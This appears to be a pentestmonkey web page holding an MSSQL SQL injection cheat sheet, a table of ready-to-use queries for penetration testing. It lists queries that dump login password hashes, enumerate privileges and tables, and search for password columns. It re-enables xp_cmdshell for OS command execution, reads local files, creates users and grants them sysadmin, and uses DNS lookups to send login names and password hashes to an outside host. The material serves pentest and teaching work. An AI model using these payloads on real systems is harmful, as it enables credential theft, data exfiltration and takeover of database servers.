Categories

- Blog (78)
- Cheat Sheets (10)
  - Shells (1)
  - SQL Injection (7)
- Contact (2)
- Site News (3)
- Tools (17)
  - Audit (3)
  - Misc (7)
  - User Enumeration (4)
  - Web Shells (3)
- Uncategorized (3)
- Yaptest (15)
  - Front End (1)
  - Installing (2)
  - Overview (2)
  - Using (8)

RSS Feed

MSSQL Injection Cheat Sheet

Some useful syntax reminders for SQL Injection into MSSQL databases…

This post is part of a series of SQL Injection Cheat Sheets. In this series, I've endevoured to tabulate the data to make it easier to read and to use the same table for for each database backend. This helps to highlight any features which are lacking for each database, and enumeration techniques that don't apply and also areas that I haven't got round to researching yet.

The complete list of SQL Injection Cheat Sheets I'm working is:

- Oracle
- MSSQL
- MySQL
- PostgreSQL
- Ingres
- DB2
- Informix

I'm not planning to write one for MS Access, but there's a great MS Access Cheat Sheet here.

Some of the queries in the table below can only be run by an admin. These are marked with "– priv" at the end of the query.

Version	SELECT @@version
Comments	SELECT 1 — comment SELECT /*comment*/1
Current User	SELECT user_name(); SELECT system_user; SELECT user; SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID

List Users	SELECT name FROM master..syslogins
List Password Hashes	SELECT name, password FROM master..sysxlogins — priv, mssql 2000; SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins — priv, mssql 2000. Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer. SELECT name, password_hash FROM master.sys.sql_logins — priv, mssql 2005; SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins — priv, mssql 2005
Password Cracker	MSSQL 2000 and 2005 Hashes are both SHA1-based. phrasen|drescher can crack these.
List Privileges	– current privs on a particular object in 2005, 2008 SELECT permission_name FROM master..fn_my_permissions(null, 'DATABASE'); — current database SELECT permission_name FROM master..fn_my_permissions(null, 'SERVER'); — current server SELECT permission_name FROM master..fn_my_permissions('master..syslogins', 'OBJECT'); –permissions on a table SELECT permission_name FROM master..fn_my_permissions('sa', 'USER'); –permissions on a user– current privs in 2005, 2008 SELECT is_srvrolemember('sysadmin'); SELECT is_srvrolemember('dbcreator'); SELECT is_srvrolemember('bulkadmin'); SELECT is_srvrolemember('diskadmin'); SELECT is_srvrolemember('processadmin'); SELECT is_srvrolemember('serveradmin'); SELECT is_srvrolemember('setupadmin'); SELECT is_srvrolemember('securityadmin'); – who has a particular priv? 2005, 2008 SELECT name FROM master..syslogins WHERE denylogin = 0; SELECT name FROM master..syslogins WHERE hasaccess = 1; SELECT name FROM master..syslogins WHERE isntname = 0; SELECT name FROM master..syslogins WHERE isntgroup = 0; SELECT name FROM master..syslogins WHERE sysadmin = 1; SELECT name FROM master..syslogins WHERE securityadmin = 1; SELECT name FROM master..syslogins WHERE serveradmin = 1;

	SELECT name FROM master..syslogins WHERE setupadmin = 1; SELECT name FROM master..syslogins WHERE processadmin = 1; SELECT name FROM master..syslogins WHERE diskadmin = 1; SELECT name FROM master..syslogins WHERE dbcreator = 1; SELECT name FROM master..syslogins WHERE bulkadmin = 1;
List DBA Accounts	SELECT is_srvrolemember(‘sysadmin’); — is your account a sysadmin? returns 1 for true, 0 for false, NULL for invalid role. Also try ‘bulkadmin’, ‘systemadmin’ and other values from the documentation SELECT is_srvrolemember(‘sysadmin’, ‘sa’); — is sa a sysadmin? return 1 for true, 0 for false, NULL for invalid role/username. SELECT name FROM master..syslogins WHERE sysadmin = ’1′ — tested on 2005
Current Database	SELECT DB_NAME()
List Databases	SELECT name FROM master..sysdatabases; SELECT DB_NAME(N); — for N = 0, 1, 2, …
List Columns	SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘mytable’); — for the current DB only SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable
List Tables	SELECT name FROM master..sysobjects WHERE xtype = ‘U’; — use xtype = ‘V’ for views SELECT name FROM someotherdb..sysobjects WHERE xtype = ‘U’; SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable
Find Tables From Column Name	– NB: This example works only for the current database. If you wan’t to search another db, you need to specify the db name (e.g. replace sysobject with mydb..sysobjects). SELECT sysobjects.name as tablename, syscolumns.name as columnname FROM sysobjects JOIN syscolumns ON sysobjects.id = syscolumns.id WHERE sysobjects.xtype = ‘U’ AND syscolumns.name LIKE ‘%PASSWORD%’ — this lists table, column for each column containing the word ‘password’

Select Nth Row	SELECT TOP 1 name FROM (SELECT TOP 9 name FROM master..syslogins ORDER BY name ASC) sq ORDER BY name DESC — gets 9th row
Select Nth Char	SELECT substring('abcd', 3, 1) — returns c
Bitwise AND	SELECT 6 & 2 — returns 2 SELECT 6 & 1 — returns 0
ASCII Value -> Char	SELECT char(0×41) — returns A
Char -> ASCII Value	SELECT ascii('A') – returns 65
Casting	SELECT CAST('1′ as int); SELECT CAST(1 as char)
String Concatenation	SELECT 'A' + 'B' – returns AB
If Statement	IF (1=1) SELECT 1 ELSE SELECT 2 — returns 1
Case Statement	SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END — returns 1
Avoiding Quotes	SELECT char(65)+char(66) — returns AB
Time Delay	WAITFOR DELAY '0:0:5′ — pause for 5 seconds
Make DNS Requests	declare @host varchar(800); select @host = name FROM master..syslogins; exec('master..xp_getfiledetails '\' + @host + 'c$boot.ini'"); — nonpriv, works on 2000declare @host varchar(800); select @host = name + '-' + master.sys.fn_varbintohexstr(password_hash) + '.2.pentestmonkey.net' from sys.sql_logins; exec('xp_fileexist '\' + @host + 'c$boot.ini'"); — priv, works on 2005– NB: Concatenation is not allowed in calls to these SPs, hence why we have to use @host. Messy but necessary. – Also check out theDNS tunnel feature of sqlninja
Command Execution	EXEC xp_cmdshell 'net user'; — privOn MSSQL 2005 you may need to reactivate xp_cmdshell first as it's disabled by default:

	EXEC sp_configure ‘show advanced options’, 1; — priv RECONFIGURE; — priv EXEC sp_configure ‘xp_cmdshell’, 1; — priv RECONFIGURE; — priv
Local File Access	CREATE TABLE mydata (line varchar(8000)); BULK INSERT mydata FROM ‘c:boot.ini’; DROP TABLE mydata;
Hostname, IP Address	SELECT HOST_NAME()
Create Users	EXEC sp_addlogin ‘user’, ‘pass’; — priv
Drop Users	EXEC sp_droplogin ‘user’; — priv
Make User DBA	EXEC master.dbo.sp_addsrvrolemember ‘user’, ‘sysadmin; — priv
Location of DB files	EXEC sp_helpdb master; –location of master.mdf EXEC sp_helpdb pubs; –location of pubs.mdf
Default/System Databases	northwind model msdb pubs — not on sql server 2005 tempdb

Misc Tips

In no particular order, here are some suggestions from pentestmonkey readers.

From Dan Crowley:
A way to extract data via SQLi with a MySQL backend

From Jeremy Bae:
Tip about sp_helpdb – included in table above.

From Trip:
List DBAs (included in table above now):

select name from master..syslogins where sysadmin = ’1'

From Daniele Costa:
Tips on using fn_my_permissions in 2005, 2008 – included in table above.
Also:
To check permissions on multiple database you will have to use the following pattern.

> *USE [DBNAME]; select permission_name FROM fn_my_permissions (NULL, 'DATABASE')*

Note also that in case of using this data with a UNION query a collation error could occur.
In this case a simple trick is to use the following syntax:

> *select permission_name collate database_default FROM fn_my_permissions (NULL, 'DATABASE')*

Tags: cheatsheet, mssql, sqlinjection

Posted in SQL Injection